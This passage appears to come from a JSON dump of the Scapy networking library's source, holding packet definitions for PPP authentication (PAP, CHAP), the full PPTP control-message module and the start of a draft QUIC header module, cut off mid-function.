== 5 and other.id == self.id\n        )\n\n\nclass PPP_LCP_Code_Reject(PPP_LCP):\n    fields_desc = [\n        ByteEnumField(\"code\", 7, _PPP_lcptypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"rejected_packet\",\n                      adjust=lambda _, val: val + 4),\n        PacketField(\"rejected_packet\", None, PPP_LCP),\n    ]\n\n\nclass PPP_LCP_Protocol_Reject(PPP_LCP):\n    fields_desc = [\n        ByteEnumField(\"code\", 8, _PPP_lcptypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"rejected_information\",\n                      adjust=lambda _, val: val + 6),\n        ShortEnumField(\"rejected_protocol\", None, _PPP_PROTOCOLS),\n        PacketField(\"rejected_information\", None, Packet),\n    ]\n\n\nclass PPP_LCP_Discard_Request(PPP_LCP):\n    fields_desc = [\n        ByteEnumField(\"code\", 11, _PPP_lcptypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"data\",\n                      adjust=lambda _, val: val + 8),\n        IntField(\"magic_number\", None),\n        StrLenField(\"data\", \"\", length_from=lambda pkt: pkt.len - 8),\n    ]\n\n\nclass PPP_LCP_Echo(PPP_LCP_Discard_Request):\n    code = 9\n\n    def answers(self, other):\n        return (\n            isinstance(other, PPP_LCP_Echo) and self.code == 10 and\n            other.code == 9 and self.id == other.id\n        )\n\n\n# Password authentication protocol (RFC 1334)\n\n\n_PPP_paptypes = {1: \"Authenticate-Request\",\n                 2: \"Authenticate-Ack\",\n                 3: \"Authenticate-Nak\"}\n\n\nclass PPP_PAP(Packet):\n    name = \"PPP Password Authentication Protocol\"\n    fields_desc = [\n        ByteEnumField(\"code\", 1, _PPP_paptypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"!H\", length_of=\"data\",\n                      adjust=lambda _, val: val + 4),\n        StrLenField(\"data\", \"\", length_from=lambda pkt: pkt.len - 4),\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *_, **kargs):\n        code = None\n        if _pkt:\n            code = orb(_pkt[0])\n        elif \"code\" in kargs:\n            code = kargs[\"code\"]\n            if isinstance(code, str):\n                code = cls.fields_desc[0].s2i[code]\n\n        if code == 1:\n            return PPP_PAP_Request\n        elif code in [2, 3]:\n            return PPP_PAP_Response\n        return cls\n\n    def extract_padding(self, pay):\n        return \"\", pay\n\n\nclass PPP_PAP_Request(PPP_PAP):\n    fields_desc = [\n        ByteEnumField(\"code\", 1, _PPP_paptypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"!H\", length_of=\"username\",\n                      adjust=lambda pkt, val: val + 6 + len(pkt.password)),\n        FieldLenField(\"username_len\", None, fmt=\"B\", length_of=\"username\"),\n        StrLenField(\"username\", None,\n                    length_from=lambda pkt: pkt.username_len),\n        FieldLenField(\"passwd_len\", None, fmt=\"B\", length_of=\"password\"),\n        StrLenField(\"password\", None, length_from=lambda pkt: pkt.passwd_len),\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"PAP-Request username=%PPP_PAP_Request.username%\"\n                            \" password=%PPP_PAP_Request.password%\")\n\n\nclass PPP_PAP_Response(PPP_PAP):\n    fields_desc = [\n        ByteEnumField(\"code\", 2, _PPP_paptypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"!H\", length_of=\"message\",\n                      adjust=lambda _, val: val + 5),\n        FieldLenField(\"msg_len\", None, fmt=\"B\", length_of=\"message\"),\n        StrLenField(\"message\", \"\", length_from=lambda pkt: pkt.msg_len),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, PPP_PAP_Request) and other.id == self.id\n\n    def mysummary(self):\n        res = \"PAP-Ack\" if self.code == 2 else \"PAP-Nak\"\n        if self.msg_len > 0:\n            res += self.sprintf(\" msg=%PPP_PAP_Response.message%\")\n        return res\n\n\n# Challenge Handshake Authentication protocol (RFC1994)\n\n_PPP_chaptypes = {1: \"Challenge\",\n                  2: \"Response\",\n                  3: \"Success\",\n                  4: \"Failure\"}\n\n\nclass PPP_CHAP(Packet):\n    name = \"PPP Challenge Handshake Authentication Protocol\"\n    fields_desc = [\n        ByteEnumField(\"code\", 1, _PPP_chaptypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"!H\", length_of=\"data\",\n                      adjust=lambda _, val: val + 4),\n        StrLenField(\"data\", \"\", length_from=lambda pkt: pkt.len - 4),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, PPP_CHAP_ChallengeResponse) \\\n            and other.code == 2 and self.code in (3, 4) \\\n            and self.id == other.id\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *_, **kargs):\n        code = None\n        if _pkt:\n            code = orb(_pkt[0])\n        elif \"code\" in kargs:\n            code = kargs[\"code\"]\n            if isinstance(code, str):\n                code = cls.fields_desc[0].s2i[code]\n\n        if code in (1, 2):\n            return PPP_CHAP_ChallengeResponse\n        return cls\n\n    def extract_padding(self, pay):\n        return \"\", pay\n\n    def mysummary(self):\n        if self.code == 3:\n            return self.sprintf(\"CHAP Success message=%PPP_CHAP.data%\")\n        elif self.code == 4:\n            return self.sprintf(\"CHAP Failure message=%PPP_CHAP.data%\")\n\n\nclass PPP_CHAP_ChallengeResponse(PPP_CHAP):\n    fields_desc = [\n        ByteEnumField(\"code\", 1, _PPP_chaptypes),\n        XByteField(\"id\", 0),\n        FieldLenField(\n            \"len\", None, fmt=\"!H\", length_of=\"value\",\n            adjust=lambda pkt, val: val + len(pkt.optional_name) + 5,\n        ),\n        FieldLenField(\"value_size\", None, fmt=\"B\", length_of=\"value\"),\n        XStrLenField(\"value\", b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n                     length_from=lambda pkt: pkt.value_size),\n        StrLenField(\"optional_name\", \"\",\n                    length_from=lambda pkt: pkt.len - pkt.value_size - 5),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, PPP_CHAP_ChallengeResponse) \\\n            and other.code == 1 and self.code == 2 and self.id == other.id\n\n    def mysummary(self):\n        if self.code == 1:\n            return self.sprintf(\n                \"CHAP challenge=0x%PPP_CHAP_ChallengeResponse.value% \"\n                \"optional_name=%PPP_CHAP_ChallengeResponse.optional_name%\"\n            )\n        elif self.code == 2:\n            return self.sprintf(\n                \"CHAP response=0x%PPP_CHAP_ChallengeResponse.value% \"\n                \"optional_name=%PPP_CHAP_ChallengeResponse.optional_name%\"\n            )\n        else:\n            return super(PPP_CHAP_ChallengeResponse, self).mysummary()\n\n\nbind_layers(PPPoED, PPPoED_Tags, type=1)\nbind_layers(Ether, PPPoED, type=0x8863)\nbind_layers(Ether, PPPoE, type=0x8864)\nbind_layers(CookedLinux, PPPoED, proto=0x8863)\nbind_layers(CookedLinux, PPPoE, proto=0x8864)\nbind_layers(PPPoE, PPP, code=0)\nbind_layers(HDLC, PPP,)\nbind_layers(DIR_PPP, PPP)\nbind_layers(PPP, EAP, proto=0xc227)\nbind_layers(PPP, IP, proto=0x0021)\nbind_layers(PPP, IPv6, proto=0x0057)\nbind_layers(PPP, PPP_CHAP, proto=0xc223)\nbind_layers(PPP, PPP_IPCP, proto=0x8021)\nbind_layers(PPP, PPP_ECP, proto=0x8053)\nbind_layers(PPP, PPP_LCP, proto=0xc021)\nbind_layers(PPP, PPP_PAP, proto=0xc023)\nbind_layers(Ether, PPP_IPCP, type=0x8021)\nbind_layers(Ether, PPP_ECP, type=0x8053)\nbind_layers(GRE_PPTP, PPP, proto=0x880b)\n\n\nconf.l2types.register(DLT_PPP, PPP)\nconf.l2types.register(DLT_PPP_SERIAL, HDLC)\nconf.l2types.register(DLT_PPP_ETHER, PPPoE)\nconf.l2types.register(DLT_PPP_WITH_DIR, DIR_PPP)\n"
  },
  {
    "path": "scapy/layers/pptp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Jan Sebechlebsky <sebechlebskyjan@gmail.com>\n\n\"\"\"\nPPTP (Point to Point Tunneling Protocol)\n\n[RFC 2637]\n\"\"\"\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.inet import TCP\nfrom scapy.compat import orb\nfrom scapy.fields import ByteEnumField, FieldLenField, FlagsField, IntField, \\\n    IntEnumField, LenField, XIntField, ShortField, ShortEnumField, \\\n    StrFixedLenField, StrLenField, XShortField, XByteField\n\n_PPTP_MAGIC_COOKIE = 0x1a2b3c4d\n\n_PPTP_msg_type = {1: \"Control Message\",\n                  2: \"Managemenent Message\"}\n\n_PPTP_ctrl_msg_type = {  # Control Connection Management\n    1: \"Start-Control-Connection-Request\",\n    2: \"Start-Control-Connection-Reply\",\n    3: \"Stop-Control-Connection-Request\",\n    4: \"Stop-Control-Connection-Reply\",\n    5: \"Echo-Request\",\n    6: \"Echo-Reply\",\n    # Call Management\n    7: \"Outgoing-Call-Request\",\n    8: \"Outgoing-Call-Reply\",\n    9: \"Incoming-Call-Request\",\n    10: \"Incoming-Call-Reply\",\n    11: \"Incoming-Call-Connected\",\n    12: \"Call-Clear-Request\",\n    13: \"Call-Disconnect-Notify\",\n    # Error Reporting\n    14: \"WAN-Error-Notify\",\n    # PPP Session Control\n    15: \"Set-Link-Info\"}\n\n_PPTP_general_error_code = {0: \"None\",\n                            1: \"Not-Connected\",\n                            2: \"Bad-Format\",\n                            3: \"Bad-Value\",\n                            4: \"No-Resource\",\n                            5: \"Bad-Call ID\",\n                            6: \"PAC-Error\"}\n\n\nclass PPTP(Packet):\n    name = \"PPTP\"\n    fields_desc = [FieldLenField(\"len\", None, fmt=\"H\", length_of=\"data\",\n                                 adjust=lambda p, x: x + 12),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 1, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   StrLenField(\"data\", \"\", length_from=lambda p: p.len - 12)]\n\n    registered_options = {}\n\n    @classmethod\n    def register_variant(cls):\n        cls.registered_options[cls.ctrl_msg_type.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            o = orb(_pkt[9])\n            return cls.registered_options.get(o, cls)\n        return cls\n\n\n_PPTP_FRAMING_CAPABILITIES_FLAGS = [\"Asynchronous Framing supported\",\n                                    \"Synchronous Framing supported\"]\n\n_PPTP_BEARER_CAPABILITIES_FLAGS = [\"Analog access supported\",\n                                   \"Digital access supported\"]\n\n\nclass PPTPStartControlConnectionRequest(PPTP):\n    name = \"PPTP Start Control Connection Request\"\n    fields_desc = [LenField(\"len\", 156),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 1, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ShortField(\"protocol_version\", 0x0100),\n                   XShortField(\"reserved_1\", 0x0000),\n                   FlagsField(\"framing_capabilities\", 0, 32,\n                              _PPTP_FRAMING_CAPABILITIES_FLAGS),\n                   FlagsField(\"bearer_capabilities\", 0, 32,\n                              _PPTP_BEARER_CAPABILITIES_FLAGS),\n                   ShortField(\"maximum_channels\", 65535),\n                   ShortField(\"firmware_revision\", 256),\n                   StrFixedLenField(\"host_name\", \"linux\", 64),\n                   StrFixedLenField(\"vendor_string\", \"\", 64)]\n\n\n_PPTP_start_control_connection_result = {1: \"OK\",\n                                         2: \"General error\",\n                                         3: \"Command channel already exists\",\n                                         4: \"Not authorized\",\n                                         5: \"Unsupported protocol version\"}\n\n\nclass PPTPStartControlConnectionReply(PPTP):\n    name = \"PPTP Start Control Connection Reply\"\n    fields_desc = [LenField(\"len\", 156),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 2, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ShortField(\"protocol_version\", 0x0100),\n                   ByteEnumField(\"result_code\", 1,\n                                 _PPTP_start_control_connection_result),\n                   ByteEnumField(\"error_code\", 0, _PPTP_general_error_code),\n                   FlagsField(\"framing_capabilities\", 0, 32,\n                              _PPTP_FRAMING_CAPABILITIES_FLAGS),\n                   FlagsField(\"bearer_capabilities\", 0, 32,\n                              _PPTP_BEARER_CAPABILITIES_FLAGS),\n                   ShortField(\"maximum_channels\", 65535),\n                   ShortField(\"firmware_revision\", 256),\n                   StrFixedLenField(\"host_name\", \"linux\", 64),\n                   StrFixedLenField(\"vendor_string\", \"\", 64)]\n\n    def answers(self, other):\n        return isinstance(other, PPTPStartControlConnectionRequest)\n\n\n_PPTP_stop_control_connection_reason = {1: \"None\",\n                                        2: \"Stop-Protocol\",\n                                        3: \"Stop-Local-Shutdown\"}\n\n\nclass PPTPStopControlConnectionRequest(PPTP):\n    name = \"PPTP Stop Control Connection Request\"\n    fields_desc = [LenField(\"len\", 16),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 3, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ByteEnumField(\"reason\", 1,\n                                 _PPTP_stop_control_connection_reason),\n                   XByteField(\"reserved_1\", 0x00),\n                   XShortField(\"reserved_2\", 0x0000)]\n\n\n_PPTP_stop_control_connection_result = {1: \"OK\",\n                                        2: \"General error\"}\n\n\nclass PPTPStopControlConnectionReply(PPTP):\n    name = \"PPTP Stop Control Connection Reply\"\n    fields_desc = [LenField(\"len\", 16),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 4, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ByteEnumField(\"result_code\", 1,\n                                 _PPTP_stop_control_connection_result),\n                   ByteEnumField(\"error_code\", 0, _PPTP_general_error_code),\n                   XShortField(\"reserved_2\", 0x0000)]\n\n    def answers(self, other):\n        return isinstance(other, PPTPStopControlConnectionRequest)\n\n\nclass PPTPEchoRequest(PPTP):\n    name = \"PPTP Echo Request\"\n    fields_desc = [LenField(\"len\", 16),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 5, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   IntField(\"identifier\", None)]\n\n\n_PPTP_echo_result = {1: \"OK\",\n                     2: \"General error\"}\n\n\nclass PPTPEchoReply(PPTP):\n    name = \"PPTP Echo Reply\"\n    fields_desc = [LenField(\"len\", 20),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 6, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   IntField(\"identifier\", None),\n                   ByteEnumField(\"result_code\", 1, _PPTP_echo_result),\n                   ByteEnumField(\"error_code\", 0, _PPTP_general_error_code),\n                   XShortField(\"reserved_1\", 0x0000)]\n\n    def answers(self, other):\n        return isinstance(other, PPTPEchoRequest) and other.identifier == self.identifier  # noqa: E501\n\n\n_PPTP_bearer_type = {1: \"Analog channel\",\n                     2: \"Digital channel\",\n                     3: \"Any type of channel\"}\n\n_PPTP_framing_type = {1: \"Asynchronous framing\",\n                      2: \"Synchronous framing\",\n                      3: \"Any type of framing\"}\n\n\nclass PPTPOutgoingCallRequest(PPTP):\n    name = \"PPTP Outgoing Call Request\"\n    fields_desc = [LenField(\"len\", 168),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 7, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ShortField(\"call_id\", 1),\n                   ShortField(\"call_serial_number\", 0),\n                   IntField(\"minimum_bps\", 32768),\n                   IntField(\"maximum_bps\", 2147483648),\n                   IntEnumField(\"bearer_type\", 3, _PPTP_bearer_type),\n                   IntEnumField(\"framing_type\", 3, _PPTP_framing_type),\n                   ShortField(\"pkt_window_size\", 16),\n                   ShortField(\"pkt_proc_delay\", 0),\n                   ShortField('phone_number_len', 0),\n                   XShortField(\"reserved_1\", 0x0000),\n                   StrFixedLenField(\"phone_number\", '', 64),\n                   StrFixedLenField(\"subaddress\", '', 64)]\n\n\n_PPTP_result_code = {1: \"Connected\",\n                     2: \"General error\",\n                     3: \"No Carrier\",\n                     4: \"Busy\",\n                     5: \"No dial tone\",\n                     6: \"Time-out\",\n                     7: \"Do not accept\"}\n\n\nclass PPTPOutgoingCallReply(PPTP):\n    name = \"PPTP Outgoing Call Reply\"\n    fields_desc = [LenField(\"len\", 32),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 8, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ShortField(\"call_id\", 1),\n                   ShortField(\"peer_call_id\", 1),\n                   ByteEnumField(\"result_code\", 1, _PPTP_result_code),\n                   ByteEnumField(\"error_code\", 0, _PPTP_general_error_code),\n                   ShortField(\"cause_code\", 0),\n                   IntField(\"connect_speed\", 100000000),\n                   ShortField(\"pkt_window_size\", 16),\n                   ShortField(\"pkt_proc_delay\", 0),\n                   IntField(\"channel_id\", 0)]\n\n    def answers(self, other):\n        return isinstance(other, PPTPOutgoingCallRequest) and other.call_id == self.peer_call_id  # noqa: E501\n\n\nclass PPTPIncomingCallRequest(PPTP):\n    name = \"PPTP Incoming Call Request\"\n    fields_desc = [LenField(\"len\", 220),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 9, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ShortField(\"call_id\", 1),\n                   ShortField(\"call_serial_number\", 1),\n                   IntEnumField(\"bearer_type\", 3, _PPTP_bearer_type),\n                   IntField(\"channel_id\", 0),\n                   ShortField(\"dialed_number_len\", 0),\n                   ShortField(\"dialing_number_len\", 0),\n                   StrFixedLenField(\"dialed_number\", \"\", 64),\n                   StrFixedLenField(\"dialing_number\", \"\", 64),\n                   StrFixedLenField(\"subaddress\", \"\", 64)]\n\n\nclass PPTPIncomingCallReply(PPTP):\n    name = \"PPTP Incoming Call Reply\"\n    fields_desc = [LenField(\"len\", 148),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 10, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ShortField(\"call_id\", 1),\n                   ShortField(\"peer_call_id\", 1),\n                   ByteEnumField(\"result_code\", 1, _PPTP_result_code),\n                   ByteEnumField(\"error_code\", 0, _PPTP_general_error_code),\n                   ShortField(\"pkt_window_size\", 64),\n                   ShortField(\"pkt_transmit_delay\", 0),\n                   XShortField(\"reserved_1\", 0x0000)]\n\n    def answers(self, other):\n        return isinstance(other, PPTPIncomingCallRequest) and other.call_id == self.peer_call_id  # noqa: E501\n\n\nclass PPTPIncomingCallConnected(PPTP):\n    name = \"PPTP Incoming Call Connected\"\n    fields_desc = [LenField(\"len\", 28),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 11, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ShortField(\"peer_call_id\", 1),\n                   XShortField(\"reserved_1\", 0x0000),\n                   IntField(\"connect_speed\", 100000000),\n                   ShortField(\"pkt_window_size\", 64),\n                   ShortField(\"pkt_transmit_delay\", 0),\n                   IntEnumField(\"framing_type\", 1, _PPTP_framing_type)]\n\n    def answers(self, other):\n        return isinstance(other, PPTPIncomingCallReply) and other.call_id == self.peer_call_id  # noqa: E501\n\n\nclass PPTPCallClearRequest(PPTP):\n    name = \"PPTP Call Clear Request\"\n    fields_desc = [LenField(\"len\", 16),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 12, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ShortField(\"call_id\", 1),\n                   XShortField(\"reserved_1\", 0x0000)]\n\n\n_PPTP_call_disconnect_result = {1: \"Lost Carrier\",\n                                2: \"General error\",\n                                3: \"Admin Shutdown\",\n                                4: \"Request\"}\n\n\nclass PPTPCallDisconnectNotify(PPTP):\n    name = \"PPTP Call Disconnect Notify\"\n    fields_desc = [LenField(\"len\", 148),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 13, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ShortField(\"call_id\", 1),\n                   ByteEnumField(\"result_code\", 1,\n                                 _PPTP_call_disconnect_result),\n                   ByteEnumField(\"error_code\", 0, _PPTP_general_error_code),\n                   ShortField(\"cause_code\", 0),\n                   XShortField(\"reserved_1\", 0x0000),\n                   StrFixedLenField(\"call_statistic\", \"\", 128)]\n\n\nclass PPTPWANErrorNotify(PPTP):\n    name = \"PPTP WAN Error Notify\"\n    fields_desc = [LenField(\"len\", 40),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 14, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ShortField(\"peer_call_id\", 1),\n                   XShortField(\"reserved_1\", 0x0000),\n                   IntField(\"crc_errors\", 0),\n                   IntField(\"framing_errors\", 0),\n                   IntField(\"hardware_overruns\", 0),\n                   IntField(\"buffer_overruns\", 0),\n                   IntField(\"time_out_errors\", 0),\n                   IntField(\"alignment_errors\", 0)]\n\n\nclass PPTPSetLinkInfo(PPTP):\n    name = \"PPTP Set Link Info\"\n    fields_desc = [LenField(\"len\", 24),\n                   ShortEnumField(\"type\", 1, _PPTP_msg_type),\n                   XIntField(\"magic_cookie\", _PPTP_MAGIC_COOKIE),\n                   ShortEnumField(\"ctrl_msg_type\", 15, _PPTP_ctrl_msg_type),\n                   XShortField(\"reserved_0\", 0x0000),\n                   ShortField(\"peer_call_id\", 1),\n                   XShortField(\"reserved_1\", 0x0000),\n                   XIntField(\"send_accm\", 0x00000000),\n                   XIntField(\"receive_accm\", 0x00000000)]\n\n\nbind_layers(TCP, PPTP, sport=1723)\nbind_layers(TCP, PPTP, dport=1723)\n"
  },
  {
    "path": "scapy/layers/quic.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nQUIC\n\nThe draft of a very basic implementation of the structures from [RFC 9000].\nThis isn't binded to UDP by default as currently too incomplete.\n\nTODO:\n- payloads.\n- encryption.\n- automaton.\n- etc.\n\"\"\"\n\nimport struct\n\nfrom scapy.packet import (\n    Packet,\n)\nfrom scapy.fields import (\n    _EnumField,\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    EnumField,\n    Field,\n    FieldLenField,\n    FieldListField,\n    IntField,\n    MultipleTypeField,\n    ShortField,\n    StrLenField,\n    ThreeBytesField,\n)\n\n# Typing imports\nfrom typing import (\n    Any,\n    Optional,\n    Tuple,\n)\n\n# RFC9000 table 3\n_quic_payloads = {\n    0x00: \"PADDING\",\n    0x01: \"PING\",\n    0x02: \"ACK\",\n    0x04: \"RESET_STREAM\",\n    0x05: \"STOP_SENDING\",\n    0x06: \"CRYPTO\",\n    0x07: \"NEW_TOKEN\",\n    0x08: \"STREAM\",\n    0x10: \"MAX_DATA\",\n    0x11: \"MAX_STREAM_DATA\",\n    0x12: \"MAX_STREAMS\",\n    0x14: \"DATA_BLOCKED\",\n    0x15: \"STREAM_DATA_BLOCKED\",\n    0x16: \"STREAMS_BLOCKED\",\n    0x18: \"NEW_CONNECTION_ID\",\n    0x19: \"RETIRE_CONNECTION_ID\",\n    0x1A: \"PATH_CHALLENGE\",\n    0x1B: \"PATH_RESPONSE\",\n    0x1C: \"CONNECTION_CLOSE\",\n    0x1E: \"HANDSHAKE_DONE\",\n}\n\n\n# RFC9000 sect 16\nclass QuicVarIntField(Field[int, int]):\n    def addfield(self, pkt: Packet, s: bytes, val: Optional[int]):\n        val = self.i2m(pkt, val)\n        if val < 0 or val > 0x3FFFFFFFFFFFFFFF:\n            raise struct.error(\"requires 0 <= number <= 4611686018427387903\")\n        if val < 0x40:\n            return s + struct.pack(\"!B\", val)\n        elif val < 0x4000:\n            return s + struct.pack(\"!H\", val | 0x4000)\n        elif val < 0x40000000:\n            return s + struct.pack(\"!I\", val | 0x80000000)\n        else:\n            return s + struct.pack(\"!Q\", val | 0xC000000000000000)\n\n    def getfield(self, pkt: Packet, s: bytes) -> Tuple[bytes, int]:\n        length = (s[0] & 0xC0) >> 6\n        if length == 0:\n            return s[1:], struct.unpack(\"!B\", s[:1])[0] & 0x3F\n        elif length == 1:\n            return s[2:], struct.unpack(\"!H\", s[:2])[0] & 0x3FFF\n        elif length == 2:\n            return s[4:], struct.unpack(\"!I\", s[:4])[0] & 0x3FFFFFFF\n        elif length == 3:\n            return s[8:], struct.unpack(\"!Q\", s[:8])[0] & 0x3FFFFFFFFFFFFFFF\n        else:\n            raise Exception(\"Impossible.\")\n\n\nclass QuicVarLenField(FieldLenField, QuicVarIntField):\n    pass\n\n\nclass QuicVarEnumField(QuicVarIntField, _EnumField[int]):\n    __slots__ = EnumField.__slots__\n\n    def __init__(self, name, default, enum):\n        # type: (str, Optional[int], Any, int) -> None\n        _EnumField.__init__(self, name, default, enum)  # type: ignore\n        QuicVarIntField.__init__(self, name, default)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> int\n        return _EnumField.any2i(self, pkt, x)  # type: ignore\n\n    def i2repr(\n        self,\n        pkt,  # type: Optional[Packet]\n        x,  # type: int\n    ):\n        # type: (...) -> Any\n        return _EnumField.i2repr(self, pkt, x)\n\n\n# -- Headers --\n\n\n# RFC9000 sect 17.2\n_quic_long_hdr = {\n    0: \"Short\",\n    1: \"Long\",\n}\n\n_quic_long_pkttyp = {\n    # RFC9000 table 5\n    0x00: \"Initial\",\n    0x01: \"0-RTT\",\n    0x02: \"Handshake\",\n    0x03: \"Retry\",\n}\n\n# RFC9000 sect 17 abstraction\n\n\nclass QUIC(Packet):\n    match_subclass = True\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        \"\"\"\n        Returns the right class for the given data.\n        \"\"\"\n        if _pkt:\n            hdr = _pkt[0]\n            if hdr & 0x80:\n                # Long Header packets\n                if hdr & 0x40 == 0:\n                    return QUIC_Version\n                else:\n                    typ = (hdr & 0x30) >> 4\n                    return {\n                        0: QUIC_Initial,\n                        1: QUIC_0RTT,\n                        2: QUIC_Handshake,\n                        3: QUIC_Retry,\n                    }[typ]\n            else:\n                # Short Header packets\n                return QUIC_1RTT\n        return QUIC_Initial\n\n    def mysummary(self):\n        return self.name\n\n\n# RFC9000 sect 17.2.1\n\n\nclass QUIC_Version(QUIC):\n    name = \"QUIC - Version Negotiation\"\n    fields_desc = [\n        BitEnumField(\"HeaderForm\", 1, 1, _quic_long_hdr),\n        BitField(\"Unused\", 0, 7),\n        IntField(\"Version\", 0),\n        FieldLenField(\"DstConnIDLen\", None, length_of=\"DstConnID\", fmt=\"B\"),\n        StrLenField(\"DstConnID\", \"\", length_from=lambda pkt: pkt.DstConnIDLen),\n        FieldLenField(\"SrcConnIDLen\", None, length_of=\"SrcConnID\", fmt=\"B\"),\n        StrLenField(\"SrcConnID\", \"\", length_from=lambda pkt: pkt.SrcConnIDLen),\n        FieldListField(\"SupportedVersions\", [], IntField(\"\", 0)),\n    ]\n\n\n# RFC9000 sect 17.2.2\n\nQuicPacketNumberField = lambda name, default: MultipleTypeField(\n    [\n        (\n            ByteField(name, default),\n            (\n                lambda pkt: pkt.PacketNumberLen == 0,\n                lambda _, val: val < 0x100,\n            ),\n        ),\n        (\n            ShortField(name, default),\n            (\n                lambda pkt: pkt.PacketNumberLen == 1,\n                lambda _, val: val < 0x10000,\n            ),\n        ),\n        (\n            ThreeBytesField(name, default),\n            (\n                lambda pkt: pkt.PacketNumberLen == 2,\n                lambda _, val: val < 0x1000000,\n            ),\n        ),\n        (\n            IntField(name, default),\n            (\n                lambda pkt: pkt.PacketNumberLen == 3,\n                lambda _, val: val < 0x100000000,\n            ),\n        ),\n    ],\n    ByteField(name, default),\n)\n\n\nclass QuicPacketNumberBitFieldLenField(BitField):\n    def i2m(self, pkt, x):\n        if x is None and 